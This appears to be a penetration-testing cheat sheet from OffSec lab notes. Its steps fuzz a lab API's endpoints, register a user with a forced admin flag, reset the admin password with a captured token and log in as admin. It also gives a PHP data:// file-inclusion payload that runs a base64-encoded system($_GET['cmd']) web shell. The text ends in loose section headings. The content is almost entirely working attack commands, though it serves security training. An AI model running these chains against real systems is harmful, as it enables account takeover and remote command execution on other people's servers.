๐ Enumerating and Abusing APIs
Enumerating and Abusing APIs
{GOBUSTER}/v1
{GOBUSTER}/v2 gobuster dir -u http://192.168.50.16:5002 -w /usr/share/wordlists/dirb/big.txt -p pattern
ffuf -c -u http://192.168.50.16:5002/FUZZ/v1 -w /usr/share/wordlists/dirb/big.txt -mc 405 curl -i http://192.168.50.16:5002/users/v1 ###list users in json format
###Fuzz for API endpoints at admin
gobuster dir -u http://192.168.50.16:5002/users/v1/admin/ -w /usr/share/wordlists/dirb/small.txt
### Other Common end points
curl -i http://192.168.50.16:5002/users/v1/admin/password ###password End point found
curl -i http://192.168.50.16:5002/users/v1/login ###login end point
curl -i http://192.168.50.16:5002/users/v1/register ###register end point
###Registering user offsec as an admin
curl -d '{"password":"lab","username":"offsec","email":"[email protected]","admin":"True"}' -H 'Content-Type: application/json' http://192.168.50.16:5002/users/v1/register
###Login to offsec user to grab auth_token
curl -d '{"password":"lab","username":"offsec"}' -H 'Content-Type: application/json' http://192.168.50.16:5002/users/v1/login
###Changing the password of admin user using offsec auth_token
curl -X 'PUT' \
'http://192.168.50.16:5002/users/v1/admin/password' \
-H 'Content-Type: application/json' \
-H 'Authorization: OAuth eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NDkyNzE3OTQsImlhdCI6MTY0OTI3MTQ5NCwic3ViIjoib2Zmc2VjIn0.OeZH1rEcrZ5F0QqLb8IHbJI7f9KaRAkrywoaRUAsgA4' \
-d '{"password": "pwned"}'
###Finally, Login to the admin user
curl -d '{"password":"pwned","username":"admin"}' -H 'Content-Type: application/json' http://192.168.50.16:5002/users/v1/login
http://192.168.208.16:5002/users/v1/login
http://192.168.208.16:5002/users/v1/register
data://text/plain,<?php phpinfo();?>
echo -n '<?php echo system($_GET["cmd"]);?>' | base64
curl "http://example.com/index.php?page=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=ls"Log Poisoning
Simple Bypass (Extension modification)
Non-Executable File Abuse
Command Injection
Last updated